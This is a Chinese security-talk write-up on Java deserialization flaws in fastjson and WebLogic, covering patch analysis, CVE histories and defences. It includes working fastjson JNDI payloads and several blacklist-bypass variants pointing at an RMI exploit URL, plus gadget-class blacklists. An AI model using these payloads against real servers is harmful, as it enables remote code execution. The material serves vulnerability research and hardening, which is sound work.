作者:廖新喜
公眾號:廖新喜

1 議題和個人介紹

1.1 議題概述

2017年又是反序列漏洞的大年,涌現了許多經典的因為反序列化導致的遠程代碼執行漏洞,像fastjson,jackson,struts2,weblogic這些使用量非常大的產品都存在這類漏洞,但不幸的是,這些漏洞的修復方式都是基于黑名單,每次都是舊洞未補全,新洞已面世。隨著虛擬貨幣的暴漲,這些直接的遠程執行代碼漏洞都成了挖礦者的樂園。

本議題將從那些經典案例入手,分析攻擊方和防御方的對抗過程。首先是fastjson的最近的安全補丁的分析,由于黑名單做了加密處理,這里會展開如何得到其黑名單,如何構造PoC。當然2018年的重點還是weblogic,由我給大家剖析CVE-2018-2628及其他Weblogic經典漏洞,帶大家傲游反序列化的世界,同時也是希望開發者多多借鑒做好安全編碼。

1.2 個人簡介:

本文作者來自綠盟科技,現任網絡安全攻防實驗室安全研究經理,安全行業從業七年,是看雪大會講師,Pycon大會講師,央視專訪嘉賓,向RedHat、Apache、Amazon,Weblogic,阿里提交多份RCE漏洞報告,最近的Weblogic CVE-2018-2628就是一個。

個人博客:xxlegend.com

2 反序列化入門

序列化和反序列化是java引入的數據傳輸存儲接口,序列化是用于將對象轉換成二進制串存儲,對應著writeObject,而反序列正好相反,將二進制串轉換成對象,對應著readObject,類必須實現反序列化接口,同時設置serialVersionUID以便適用不同jvm環境。

可通過SerializationDumper這個工具來查看其存儲格式,工具直接可在github上搜索.主要包括Magic頭:0xaced,TCOBJECT:0x73,TCCLASS:0x72,serialVersionUID,newHandle

使用場景:

  • http參數,cookie,sesion,存儲方式可能是base64(rO0),壓縮后的base64(H4sl),MII等
  • Servlets HTTP,Sockets,Session管理器 包含的協議就包括JMX,RMI,JMS,JNDI等(\xac\xed)
  • xml Xstream,XMLDecoder等(HTTP Body:Content-Type:application/xml)
  • json(Jackson,fastjson) http請求中包含

反序列攻擊時序圖:

常見的反序列化項目:

  • Ysoserial 原生序列化PoC生成
  • Marshalsec 第三方格式序列化PoC生成
  • Freddy burp反序列化測試插件
  • Java-Deserialization-Cheat-Sheet

3 fastjson

3.1 簡介

Fastjson是Alibaba開發的,Java語言編寫的高性能JSON庫。采用“假定有序 快速匹配”的算法,號稱Java語言中最快的JSON庫。提供兩個主要接口toJsonString和parseObject來分別實現序列化和反序列化,示例代碼如下:

User user = new User("guest",2);

String jsonString = JSON.toJSONString(user)

String jsonString = "{\\"name\\":\\"guest\\",\\"age\\":12}"

User user = (User)JSON.parse(jsonString)

Fastjson PoC分類

主要分為兩大類,一個是基于TemplateImpl,另外就是基于基于JNDI,基于JNDI的又可分為

a) Bean Property類型
b) Field類型

可以參考Demo:https://github.com/shengqi158/fastjson-remote-code-execute-poc

fastjson為了防止研究人員研究它的黑名單,想出了一套新的黑名單機制,這套黑名單是基于具體類的hash加密算法,不可逆。如果是簡單窮舉,基本算不出來,后來我想到這些庫的黑名單肯定都在Maven倉庫中,于是寫了個爬蟲,爬取Maven倉庫下所有類,然后正向匹配輸出真正的黑名單類。

3.2 fastjson最近的幾個經典漏洞

下面這段代碼是fastjson用來自定義loadClass的實現

   public static Class<?> loadClass(String className, ClassLoader classLoader) {

          //省略

        if (className.charAt(0) == '[') {

            Class<?> componentType = loadClass(className.substring(1), classLoader);

            return Array.newInstance(componentType, 0).getClass();

        }


        if (className.startsWith("L") && className.endsWith(";")) {

            String newClassName = className.substring(1, className.length() - 1);

            return loadClass(newClassName, classLoader);

        }


        try {

            if (classLoader != null) {

                clazz = classLoader.loadClass(className);

首先我們來看一個經典的PoC,{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit"," "autoCommit":true},關于這個PoC的解讀在我博客上有,這里不再詳述,但是今天我們要講的是前面貼出的一段loadClass導致的一系列漏洞,首先看1.2.41的繞過方法是 Lcom.sun.rowset.RowSetImpl;,當時看到這個PoC的時候就在想官方不會只去掉一次第一個字符 L和最后一個字符 吧,果不其然,在官方的修補方案中,如果以 L打頭, 結尾則會去掉打頭和結尾。當時我就發了一個感概:補丁未出,漏洞已行。很顯然,1.2.42的繞過方法是 LLcom.sum.rowset.RowSetImpl;;,細心的讀者還會看到loadClass的第一個if判斷中還有 [打頭部分,所以就又有了1.2.43的繞過方法是 [com.sun.rowset.RowSetImp. 在官方版本1.2.45黑名單中又添加了ibatis的黑名單,PoC如下: {"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/Exploit"}},首先這是一個基于JNDI的PoC,為了更加理解這個PoC,我們還是先來看一下JndiDataSourceFactory的源碼。

public class JndiDataSourceFactory implements DataSourceFactory {

  public static final String DATA_SOURCE = "data_source";

  //省略

  public void setProperties(Properties properties) {

    try {

      InitialContext initCtx = null;

      Hashtable env = getEnvProperties(properties);

      if (env == null) {

        initCtx = new InitialContext();

      } else {

        initCtx = new InitialContext(env);

      }

      //省略

      } else if (properties.containsKey(DATA_SOURCE)) {

        dataSource = (DataSource) initCtx.lookup(properties.getProperty(DATA_SOURCE));

      }


    } catch (NamingException e) {

      throw new DataSourceException("There was an error configuring JndiDataSourceTransactionPool. Cause: " + e, e);

    }

  }

其本質還是通過bean操作接口set來調用setProperties,然后觸發JNDI查詢。

4 weblogic

Weblogic是第一個成功商業化的J2EE應用服務器,在大型企業中使用非常廣泛。在Oracle旗下,可以與其他Oracle產品強強聯手,WebLogic Server Java EE 應用基于標準化、模塊化的組件,WebLogic Server 為這些模塊提供了一組完整的服務,無需編程即可自動處理應用行為的許多細節,另外其獨有的T3協議采用序列化實現。下圖就是weblogic的歷史漏洞展示:

CVE-2015-4852

基于T3

  • 新的攻擊面
  • 基于commons-collections
  • 采用黑名單修復
org.apache.commons.collections.functors* *
com.sun.org.apache.xalan.internal.xsltc.trax* *
javassist* *
org.codehaus.groovy.runtime.ConvertedClosure
org.codehaus.groovy.runtime.ConversionHandler
org.codehaus.groovy.runtime.MethodClosure
  • 作用位置有限
weblogic.rjvm.InboundMsgAbbrev.class :: ServerChannelInputStream
weblogic.rjvm.MsgAbbrevInputStream.class
weblogic.iiop.Utils.class

CVE-2016-0638

首先來看下漏洞位置,在readExternal位置,

            public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {

                super.readExternal(var1);

                //省略

                    ByteArrayInputStream var4 = new ByteArrayInputStream(this.buffer);

                    ObjectInputStream var5 = new ObjectInputStream(var4);

                    //省略

                    try {

                        while (true) {

                            this.writeObject(var5.readObject());

                        }

                    } catch (EOFException var9) {

再來看看補丁,加了一個FilteringObjectInputStream過濾接口

            public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {

                super.readExternal(var1);

                //省略

                    this.payload = (PayloadStream)PayloadFactoryImpl.createPayload((InputStream)in)

                    BufferInputStream is = this.payload.getInputStream();

                    FilteringObjectInputStream var5 = new FilteringObjectInputStream(var4);

                    //省略

                    try {

                        while (true) {

                            this.writeObject(var5.readObject());

                        }

                    } catch (EOFException var9) {

FilteringObjectInputStream的實現如下:

   public class FilteringObjectInputStream extends ObjectInputStream {

   public FilteringObjectInputStream(InputStream in) throws IOException {

      super(in);

   }


   protected Class<?> resolveClass(java.io.ObjectStreamClass descriptor) throws ClassNotFoundException, IOException {

      String className = descriptor.getName();

      if(className != null && className.length() > 0 && ClassFilter.isBlackListed(className)) {

         throw new InvalidClassException("Unauthorized deserialization attempt", descriptor.getName());

      } else {

         return super.resolveClass(descriptor);

      }

   }

}

其實就是在resolveClass位置加了一層黑名單控制。

基于XMLDecoder

CVE-2017-3248

   private static class ServerChannelInputStream extends ObjectInputStream implements ServerChannelStream {

      protected Class resolveClass(ObjectStreamClass descriptor) throws ClassNotFoundException, IOException {

         String className = descriptor.getName();

         if(className != null && className.length() > 0

             && ClassFilter.isBlackListed(className)) {

            throw new InvalidClassException("Unauthorized deserialization attempt", descriptor.getName());

         } else {

            Class c = super.resolveClass(descriptor);

              //省略

         }

      }


      protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {

         String[] arr$ = interfaces;

         int len$ = interfaces.length;


         for(int i$ = 0; i$ < len$; ++i$) {

            String intf = arr$[i$];

            if(intf.equals("java.rmi.registry.Registry")) {

               throw new InvalidObjectException("Unauthorized proxy deserialization");

            }

         }


         return super.resolveProxyClass(interfaces);

      }

CVE-2017-3248 這個漏洞是根據JRMPListener來構造的,從這個補丁也可以看出,在resolveClass和resolveProxyClass都設置了黑名單。

CVE-2018-2628

這個漏洞是我報給Oracle官方的,但是他們并沒有修復完全,導致后來這個漏洞被濫用。

  • 完美繞過CVE-2017-3248
  • 基于StreamMessage封裝
  • 利用java.rmi.activation.Activator繞過補丁中對java.rmi.registry.Registry的限制
  • Proxy非必須項

攻擊示意圖如下:

簡單分析可見:http://xxlegend.com/2018/04/18/CVE-2018-2628%20%E7%AE%80%E5%8D%95%E5%A4%8D%E7%8E%B0%E5%92%8C%E5%88%86%E6%9E%90/

5 反序列化防御

5.1 Weblogic防御

  • 過濾T3協議,限定可連接的IP
  • 設置Nginx反向代理,實現t3協議和http協議隔離
  • JEP290(JDK8u121,7u131,6u141),這個機制主要是在每層反序列化過程中都加了一層黑名單處理,黑名單如下:

黑名單:

maxdepth=100;
!org.codehaus.groovy.runtime.ConvertedClosure;
!org.codehaus.groovy.runtime.ConversionHandler;
!org.codehaus.groovy.runtime.MethodClosure;
!org.springframework.transaction.support.AbstractPlatformTra
nsactionManager;
!sun.rmi.server.UnicastRef;
!org.apache.commons.collections.functors.*;
!com.sun.org.apache.xalan.internal.xsltc.trax.*;
!javassist.*

當然也有失效的時候,就是發現了新的gadget。這也促使Oracle開始放棄反序列化支持。

5.2 原生反序列化防御

  • 不要反序列化不可信的數據
  • 給反序列數據加密簽名,并確保解密在反序列之前
  • 給反序列化接口添加認證授權
  • 反序列化服務只允許監聽在本地或者開啟相應防火墻
  • 升級第三方庫
  • 升級JDK,JEP290

6 招人

綠盟科技Web攻防實驗室歡迎各位應聘,招聘大牛和實習生。團隊專注于最前沿的Web攻防研究,大數據分析,前瞻性攻擊與檢測預研.

聯系郵箱: liaoxinxi[@]nsfocus.com 或者liwenjin[@]nsfocus.com


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/623/